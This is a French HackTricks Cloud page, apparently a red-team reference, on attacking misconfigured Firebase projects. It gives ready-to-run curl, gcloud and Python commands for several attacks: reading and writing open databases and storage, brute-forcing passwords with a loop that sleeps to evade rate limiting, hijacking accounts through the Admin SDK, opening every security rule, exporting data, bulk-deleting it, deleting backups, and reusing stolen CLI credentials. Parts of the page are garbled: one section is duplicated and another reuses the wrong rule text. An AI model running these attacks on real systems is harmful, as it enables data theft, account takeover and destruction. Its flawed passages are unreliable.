GCP - Firebase Privesc

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.

Firebase

Accès non authentifié à Firebase Realtime Database

Un attaquant n’a besoin d’aucune permission Firebase spécifique pour réaliser cette attaque. Il suffit qu’il y ait une configuration vulnérable dans les règles de sécurité de la Firebase Realtime Database, où les règles sont définies avec .read: true ou .write: true, permettant un accès public en lecture ou en écriture.

L’attaquant doit identifier l’URL de la base de données, qui suit généralement le format : https://<project-id>.firebaseio.com/.

Cette URL peut être trouvée via mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), en analysant des fichiers de configuration tels que google-services.json (Android) ou GoogleService-Info.plist (iOS), en inspectant le code source des applications web, ou en examinant le trafic réseau pour repérer des requêtes vers des domaines *.firebaseio.com.

L’attaquant identifie l’URL de la base de données et vérifie si elle est exposée publiquement, puis accède aux données et peut potentiellement écrire des informations malveillantes.

D’abord, il vérifie si la base de données autorise l’accès en lecture en ajoutant .json à l’URL.

curl https://<project-id>-default-rtdb.firebaseio.com/.json

Si la réponse contient des données JSON ou null (au lieu de “Permission Denied”), la base de données autorise l’accès en lecture. Pour vérifier l’accès en écriture, l’attaquant peut tenter d’envoyer une requête de test d’écriture en utilisant le Firebase REST API.

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

Si l’opération réussit, la base de données permet également l’accès en écriture.

Exposition des données dans Cloud Firestore

Un attaquant n’a pas besoin de permissions Firebase spécifiques pour mener cette attaque. Il suffit qu’il y ait une configuration vulnérable dans les règles de sécurité de Cloud Firestore où les règles autorisent l’accès en lecture ou en écriture sans authentification ou avec une validation insuffisante. Un exemple de règle mal configurée qui accorde un accès total est :

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Cette règle permet à quiconque de lire et d’écrire tous les documents sans aucune restriction.
Les règles Firestore sont granulaires et s’appliquent par collection et par document ; une erreur dans une règle spécifique peut donc n’exposer que certaines collections.

L’attaquant doit identifier le Firebase Project ID, qui peut être trouvé via mobile app reverse engineering, l’analyse de fichiers de configuration tels que google-services.json ou GoogleService-Info.plist, l’inspection du code source d’applications web, ou l’analyse du trafic réseau pour identifier des requêtes vers firestore.googleapis.com.
L’API REST Firestore utilise le format :

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Si les règles permettent un accès en lecture non authentifié, l’attaquant peut lire les collections et les documents. D’abord, il tente d’accéder à une collection spécifique :

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

Si la réponse contient des documents JSON au lieu d’une erreur d’autorisation, la collection est exposée. L’attaquant peut énumérer toutes les collections accessibles en essayant des noms courants ou en analysant la structure de l’application. Pour accéder à un document spécifique :

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Si les règles permettent un accès en écriture non authentifié ou n’ont pas de validation suffisante, l’attaquant peut créer de nouveaux documents :

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

Pour modifier un document existant, il faut utiliser PATCH :

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

Pour supprimer un document et provoquer un déni de service :

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Exposition de fichiers dans Firebase Storage

Un attaquant n’a pas besoin d’autorisations Firebase spécifiques pour mener cette attaque. Il suffit qu’il y ait une configuration vulnérable dans les règles de sécurité de Firebase Storage où les règles autorisent l’accès en lecture ou en écriture sans authentification ou avec une validation insuffisante. Les règles de Storage contrôlent indépendamment les permissions de lecture et d’écriture, donc une erreur dans une règle peut exposer uniquement l’accès en lecture, uniquement l’accès en écriture, ou les deux. Un exemple de règle mal configurée qui accorde un accès complet est :

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Cette règle permet un accès en lecture et écriture à tous les documents sans aucune restriction. Les règles de Firestore sont granulaires et s’appliquent par collection et par document, donc une erreur dans une règle spécifique peut n’exposer que certaines collections. L’attaquant doit identifier le Firebase Project ID, qui peut être trouvé via mobile application reverse engineering, l’analyse de fichiers de configuration tels que google-services.json ou GoogleService-Info.plist, l’inspection du code source de l’application web, ou l’analyse du trafic réseau pour identifier des requêtes vers firestore.googleapis.com. L’API REST de Firestore utilise le format:https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

Si les règles autorisent l’accès en lecture non authentifié, l’attaquant peut lire des collections et des documents. D’abord, il tente d’accéder à une collection spécifique.

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

Si la réponse contient la liste des fichiers au lieu d’une erreur d’autorisation, les fichiers sont exposés. L’attaquant peut voir le contenu des fichiers en spécifiant leur chemin :

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

Si les règles permettent un accès en écriture non authentifié ou si la validation est insuffisante, un attaquant peut téléverser des fichiers malveillants. Pour téléverser un fichier via l’API REST :

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

L’attaquant peut uploader des code shells, des malware payloads ou de gros fichiers pour provoquer un denial of service. Si l’application traite ou exécute les fichiers uploadés, l’attaquant peut obtenir un remote code execution. Pour supprimer des fichiers et provoquer un denial of service :

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

Invocation de Firebase Cloud Functions publiques

Un attaquant n’a pas besoin de permissions Firebase spécifiques pour exploiter ce problème ; il suffit qu’une Cloud Function soit accessible publiquement via HTTP sans authentification.

Une fonction est vulnérable lorsqu’elle est mal configurée :

• Elle utilise functions.https.onRequest, qui n’applique pas d’authentification (contrairement aux onCall functions).
• Le code de la fonction ne valide pas l’authentification de l’utilisateur (par ex., aucune vérification de request.auth ou context.auth).
• La fonction est accessible publiquement via IAM, c’est-à-dire que allUsers possède le rôle roles/cloudfunctions.invoker. C’est le comportement par défaut pour les fonctions HTTP sauf si le développeur restreint l’accès.

Firebase HTTP Cloud Functions sont exposées via des URLs telles que :

• https://<region>-<project-id>.cloudfunctions.net/<function-name>
• https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)

Un attaquant peut découvrir ces URLs via l’analyse du code source, l’inspection du trafic réseau, des outils d’énumération, ou le reverse engineering d’applications mobiles. Si la fonction est exposée publiquement et non authentifiée, l’attaquant peut l’invoquer directement sans identifiants.

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

Si la fonction ne valide pas correctement les entrées, l’attaquant peut tenter d’autres attaques telles que code injection ou command injection.

Attaque par Brute-force contre Firebase Authentication avec une politique de mot de passe faible

Un attaquant n’a pas besoin de permissions Firebase spécifiques pour réaliser cette attaque. Il suffit que la Firebase API Key soit exposée dans des applications mobiles ou web, et que la politique de mot de passe n’ait pas été configurée avec des exigences plus strictes que les valeurs par défaut.

L’attaquant doit identifier la Firebase API Key, qui peut être trouvée via mobile app reverse engineering, l’analyse de fichiers de configuration tels que google-services.json ou GoogleService-Info.plist, l’inspection du code source d’applications web (p. ex., dans bootstrap.js), ou l’analyse du trafic réseau.

La REST API de Firebase Authentication utilise l’endpoint : https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> pour s’authentifier avec un email et un mot de passe.

Si Email Enumeration Protection est désactivée, les réponses d’erreur de l’API peuvent révéler si un email existe dans le système (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), ce qui permet aux attaquants d’énumérer les utilisateurs avant d’essayer des mots de passe. Lorsque cette protection est activée, l’API renvoie le même message d’erreur pour les emails inexistants et les mots de passe incorrects, empêchant l’énumération des utilisateurs.

Il est important de noter que Firebase Authentication applique du rate limiting, ce qui peut bloquer les requêtes si trop de tentatives d’authentification surviennent en peu de temps. Pour cette raison, un attaquant devra introduire des délais entre les tentatives pour éviter d’être rate-limited.

L’attaquant identifie l’API Key et effectue des tentatives d’authentification avec plusieurs mots de passe contre des comptes connus. Si Email Enumeration Protection est désactivée, l’attaquant peut énumérer les utilisateurs existants en analysant les réponses d’erreur :

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

Si la réponse contient EMAIL_NOT_FOUND, l’adresse e-mail n’existe pas dans le système. Si elle contient INVALID_PASSWORD, l’adresse e-mail existe mais le mot de passe est incorrect, ce qui confirme que l’utilisateur est enregistré. Une fois qu’un utilisateur valide est identifié, l’attaquant peut effectuer des tentatives de brute-force. Il est important d’inclure des pauses entre les tentatives pour éviter les mécanismes de limitation de débit de Firebase Authentication :

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

Avec la politique de mot de passe par défaut (minimum 6 caractères, sans exigences de complexité), l’attaquant peut essayer toutes les combinaisons possibles de mots de passe à 6 caractères, ce qui représente un espace de recherche relativement petit comparé à des politiques de mot de passe plus strictes.

Gestion des utilisateurs dans Firebase Authentication

L’attaquant a besoin de permissions spécifiques de Firebase Authentication pour mener cette attaque. Les permissions requises sont :

• firebaseauth.users.create pour créer des utilisateurs
• firebaseauth.users.update pour modifier des utilisateurs existants
• firebaseauth.users.delete pour supprimer des utilisateurs
• firebaseauth.users.get pour récupérer des informations utilisateur
• firebaseauth.users.sendEmail pour envoyer des emails aux utilisateurs
• firebaseauth.users.createSession pour créer des sessions utilisateur

Ces permissions sont incluses dans le rôle roles/firebaseauth.admin, qui accorde un accès complet en lecture/écriture aux ressources Firebase Authentication. Elles sont également incluses dans des rôles de niveau supérieur tels que roles/firebase.developAdmin (qui inclut toutes les permissions firebaseauth.*) et roles/firebase.admin (accès complet à tous les services Firebase).

Pour utiliser le Firebase Admin SDK, l’attaquant aurait besoin d’accès aux identifiants de compte de service (fichier JSON), qui peuvent se trouver sur des systèmes compromis, des dépôts de code exposés publiquement, des systèmes CI/CD compromis, ou via la compromission de comptes de développeurs ayant accès à ces identifiants.

La première étape consiste à configurer le Firebase Admin SDK en utilisant les identifiants de compte de service.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Pour créer un utilisateur malveillant en utilisant l’adresse e-mail d’une victime, l’attaquant tenterait d’utiliser le Firebase Admin SDK pour générer un nouveau compte avec cette adresse e-mail.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Pour modifier un utilisateur existant, l’attacker mettrait à jour des champs tels que l’adresse e-mail, le statut de vérification ou si le compte est désactivé.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Pour supprimer un compte utilisateur et provoquer un déni de service, l’attaquant enverrait une requête visant à supprimer entièrement l’utilisateur.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

L’attaquant peut également récupérer des informations sur des utilisateurs existants en demandant leur UID ou leur adresse e-mail.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

De plus, l’attaquant pourrait générer des liens de vérification ou des liens de réinitialisation de mot de passe afin de changer le mot de passe d’un utilisateur et d’accéder à son compte.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Gestion des utilisateurs dans Firebase Authentication

Un attaquant a besoin de permissions spécifiques de Firebase Authentication pour mener cette attaque. Les permissions requises sont :

• firebaseauth.users.create to create users
• firebaseauth.users.update to modify existing users
• firebaseauth.users.delete to delete users
• firebaseauth.users.get to obtain user information
• firebaseauth.users.sendEmail to send emails to users
• firebaseauth.users.createSession to create user sessions

Ces permissions sont incluses dans le rôle roles/firebaseauth.admin, qui accorde un accès complet en lecture/écriture aux ressources Firebase Authentication. Elles font également partie de rôles de niveau supérieur tels que roles/firebase.developAdmin (qui inclut toutes les permissions firebaseauth.*) et roles/firebase.admin (accès complet à tous les services Firebase).

Pour utiliser le Firebase Admin SDK, l’attaquant devrait avoir accès aux service account credentials (un JSON file), qui pourraient être obtenus depuis des systèmes compromis, des dépôts de code publiquement exposés, des environnements CI/CD compromis, ou via la compromission de comptes développeur ayant accès à ces credentials.

La première étape consiste à configurer le Firebase Admin SDK en utilisant les service account credentials.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Pour créer un utilisateur malveillant en utilisant l’adresse e-mail d’une victime, l’attaquant tenterait de créer un nouveau compte utilisateur avec cette adresse, en lui assignant son propre mot de passe et ses informations de profil.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Pour modifier un utilisateur existant, l’attacker modifierait des champs tels que l’adresse e-mail, le statut de vérification ou si le compte est désactivé.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Pour supprimer un compte utilisateur — provoquant effectivement un déni de service — l’attaquant émettrait une requête pour supprimer définitivement cet utilisateur.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

L’attaquant pourrait également récupérer des informations sur des utilisateurs existants, telles que leur UID ou leur email, en demandant les détails de l’utilisateur soit par UID soit par adresse email.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

De plus, l’attaquant pourrait générer des liens de vérification ou des liens de réinitialisation de mot de passe, lui permettant de changer le mot de passe d’un utilisateur et de prendre le contrôle du compte.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Modification des règles de sécurité dans les services Firebase

L’attaquant a besoin de permissions spécifiques pour modifier les règles de sécurité selon le service. Pour Cloud Firestore et Firebase Cloud Storage, les permissions requises sont firebaserules.rulesets.create pour créer des rulesets et firebaserules.releases.create pour déployer des releases. Ces permissions sont incluses dans le rôle roles/firebaserules.admin ou dans des rôles de niveau supérieur tels que roles/firebase.developAdmin et roles/firebase.admin. Pour Firebase Realtime Database, la permission requise est firebasedatabase.instances.update.

L’attaquant doit utiliser le Firebase REST API pour modifier les règles de sécurité. D’abord, l’attaquant devra obtenir un access token en utilisant service account credentials. Pour obtenir le token :

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Pour modifier les règles de Firebase Realtime Database :

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Pour modifier les règles de Cloud Firestore, l’attaquant doit créer un ruleset puis le déployer :

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

La commande précédente renvoie un nom de ruleset au format projects//rulesets/. Pour déployer la nouvelle version, la release doit être mise à jour en utilisant une requête PATCH :

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Pour modifier les règles de Firebase Cloud Storage:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

La commande précédente renvoie un nom de ruleset au format projects//rulesets/. Pour déployer la nouvelle version, la release doit être mise à jour en utilisant une requête PATCH :

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Data exfiltration and manipulation in Cloud Firestore

Cloud Firestore utilise la même infrastructure et le même système de permissions que Cloud Datastore, donc les permissions IAM de Datastore s’appliquent directement à Firestore. Pour manipuler les politiques TTL, la permission datastore.indexes.update est requise. Pour exporter des données, la permission datastore.databases.export est requise. Pour importer des données, la permission datastore.databases.import est requise. Pour effectuer une suppression massive de données, la permission datastore.databases.bulkDelete est requise.

Pour les opérations de sauvegarde et de restauration, des autorisations spécifiques sont nécessaires :

• datastore.backups.get and datastore.backups.list pour lister et récupérer les détails des sauvegardes disponibles
• datastore.backups.delete pour supprimer des sauvegardes
• datastore.backups.restoreDatabase pour restaurer une base de données à partir d’une sauvegarde
• datastore.backupSchedules.create and datastore.backupSchedules.delete pour gérer les planifications de sauvegarde

Lorsqu’une politique TTL est créée, une propriété désignée est sélectionnée pour identifier les entités éligibles à la suppression. Cette propriété TTL doit être de type Date et heure. L’attaquant peut choisir une propriété existante ou désigner une propriété qu’il prévoit d’ajouter ultérieurement. Si la valeur du champ est une date passée, le document devient éligible à une suppression immédiate. L’attaquant peut utiliser le gcloud CLI pour manipuler les politiques TTL.

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

Pour exporter des données et exfiltrate celles-ci, l’attaquant pourrait utiliser le gcloud CLI.

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

Pour importer des données malveillantes :

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

Pour effectuer une suppression massive de données et provoquer un denial of service, l’attaquant pourrait utiliser l’outil gcloud Firestore bulk-delete pour supprimer des collections entières.

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

Pour les opérations de backup et de restauration, l’attaquant peut créer des scheduled backups pour capturer l’état actuel de la base de données, lister les backups existants, restaurer depuis un backup pour écraser des modifications récentes, supprimer des backups pour provoquer une perte de données permanente, et supprimer les scheduled backups. Pour créer un calendrier de backup quotidien qui génère immédiatement un backup :

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

Pour restaurer à partir d’une sauvegarde spécifique, l’attaquant pourrait créer une nouvelle base de données en utilisant les données contenues dans cette sauvegarde. L’opération de restauration écrit les données de la sauvegarde dans une nouvelle base de données, ce qui signifie qu’un DATABASE_ID existant ne peut pas être utilisé.

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

Pour supprimer une sauvegarde et provoquer une perte de données permanente :

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Vol et mauvaise utilisation des identifiants Firebase CLI

Un attaquant n’a pas besoin de permissions Firebase spécifiques pour réaliser cette attaque, mais il doit avoir accès au système local du développeur ou au fichier d’identifiants Firebase CLI. Ces identifiants sont stockés dans un fichier JSON situé à :

• Linux/macOS: ~/.config/configstore/firebase-tools.json

• Windows: C:\Users[User].config\configstore\firebase-tools.json

Ce fichier contient des tokens d’authentification, notamment refresh_token et access_token, qui permettent à l’attaquant de s’authentifier en tant qu’utilisateur ayant exécuté firebase login.

L’attaquant obtient l’accès au fichier d’identifiants Firebase CLI. Il peut ensuite copier l’ensemble du fichier sur son propre système, et la Firebase CLI utilisera automatiquement les identifiants depuis son emplacement par défaut. Après cela, l’attaquant pourra voir tous les projets Firebase accessibles à cet utilisateur.

firebase projects:list

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.